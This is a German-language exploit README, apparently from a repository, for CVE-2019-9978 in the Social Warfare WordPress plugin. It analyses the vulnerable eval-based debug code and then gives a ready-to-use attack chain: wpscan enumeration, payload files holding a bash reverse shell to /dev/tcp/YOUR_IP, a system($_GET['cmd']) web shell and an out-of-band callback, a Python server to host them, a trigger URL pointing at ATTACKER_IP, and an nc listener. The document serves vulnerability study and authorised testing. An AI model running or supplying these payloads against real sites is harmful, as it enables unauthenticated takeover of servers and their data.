
Ein vollständiger Walkthrough und Exploit für CVE-2019-9978 - Nicht authentifizierte Remote-Codeausführung im Social Warfare WordPress-Plugin ≤ 3.5.2. Enthält die Analyse des verwundbaren Codes und Payload-Beispiele.

⚠️ HAFTUNGSAUSSCHLUSS: Dieses Repository dient nur zu Bildungs- und autorisierten Sicherheitstests. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff ist illegal.
| Eigenschaft | Wert |
|---|
| CVE-ID | CVE-2019-9978 |
| Betroffene Software | Social Warfare Plugin ≤ 3.5.2 (WordPress) |
| Schwachstellentyp | Remote Code Execution (RCE) / Remote File Inclusion (RFI) |
| Authentifizierung erforderlich | ❌ Nein – ohne Authentifizierung |
| CVSS-Score | 9.8 (Kritisch) |
| Behoben in | Version 3.5.3 |
| In freier Wildbahn ausgenutzt | Ja – März 2019 |
Das Social Warfare Plugin ist ein beliebtes WordPress-Plugin, das Social-Sharing-Buttons zu Websites hinzufügt. Die Versionen 3.5.0 bis 3.5.2 enthalten eine kritische RCE-Schwachstelle, die es Angreifern ermöglicht, ohne Authentifizierung beliebigen PHP-Code auf dem Server auszuführen.
Social Warfare ist ein beliebtes WordPress-Plugin, das Social-Sharing-Buttons zu Websites hinzufügt und Besuchern ermöglicht, Inhalte einfach auf Plattformen wie den folgenden zu teilen:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ CRITICAL MISUNDERSTANDING:
// is_admin() only checks if the page is in /wp-admin/
// It does NOT verify authentication or user privileges!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Step 1: Fetch remote file from user-controlled URL
// No validation, no sanitization, no whitelist!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Step 2: Extract content between <pre> tags
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Step 3: Build PHP code string
$array = 'return ' . $options . ';';
// Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
// ... rest of the migration logic
} catch ( ParseError $e ) {
// ... error handling
}
}
is_admin() keine Sicherheit istDie WordPress-Funktion is_admin() prüft nicht, ob ein Benutzer angemeldet ist oder Administratorrechte besitzt. Sie prüft nur, ob sich die angeforderte Seite im Verzeichnis /wp-admin/ befindet:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// Does NOT check authentication!
// Does NOT check user role!
}
Die Ironie: Wenn du auf /wp-admin/admin-post.php zugreifst, definiert WordPress WP_ADMIN = true. Dadurch gibt is_admin() sogar bei nicht authentifizierten Anfragen true zurück, was die Ausführung des verwundbaren Codeblocks ermöglicht.
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
}
Das Plugin verfügte über ein verstecktes „Debug“-Feature, das Entwicklern helfen sollte, Konfigurationsdateien von externen URLs zu laden. Dieses Feature hatte jedoch einen fatalen Fehler: Es lud beliebige Dateien von einer vom Benutzer angegebenen URL herunter und führte jeden darin gefundenen Code aus – ohne um Erlaubnis zu fragen oder zu prüfen, ob der Benutzer autorisiert war.
Der Exploit ist einfach:
Ein Angreifer hostet eine schädliche Datei auf seinem eigenen Server, weist das Plugin an, sie herunterzuladen, und das Plugin führt den Code des Angreifers blind auf der Website des Opfers aus. Da das Plugin für die Auslösung keine Anmeldung erfordert, kann jeder, der die URL kennt, die Website übernehmen.
Stell dir das so vor: Stell dir einen Sicherheitsdienst vor, der jede Tür öffnet, wenn du „Debug-Modus“ sagst – ohne zu prüfen, ob du dort arbeitest oder einen Ausweis hast. Genau das tat diese Schwachstelle.
Der Exploit sollte zwischen zwei <pre></pre>-Tags geschrieben werden.
Verwende WPScan, um die Version des Social Warfare Plugins zu ermitteln:
wpscan --url http://target.com --enumerate vp
Wenn du es selbst installiert hast, vergiss nicht, das Plugin im Admin-Panel zu aktivieren.
Erstelle payload.txt mit deiner gewünschten Payload und starte anschließend einen Server, um diese Payload auszuliefern.
Beispiel-Payloads:
Test-Payload (RCE verifizieren):
<pre>phpinfo();</pre>
Out-of-Bound-Test:
<pre>@file_get_contents('http://burp collabrator');</pre>
Reverse-Shell für Linux:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
Interaktiver Befehlsausführer:
<pre>system($_GET['cmd']);</pre>
Starte einen Python-HTTP-Server, um deine Payload zu hosten:
python3 -m http.server 8000
Deine Payload ist jetzt erreichbar unter: http://YOUR_IP:8000/payload.txt
Falls du localhost verwendest:
http://127.0.0.1:8000/payload.txt
Nachdem die Anfrage vom verwundbaren Code aus gesendet wurde, solltest du einen 200-Statuscode sehen:

Option A – Manuelles Auslösen:
Rufe diese URL in deinem Browser auf oder verwende curl:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
Auch hier, falls du localhost verwendest:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
Wenn es erfolgreich ist, erhältst du eine Shell!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

Happy Hacking! 🚀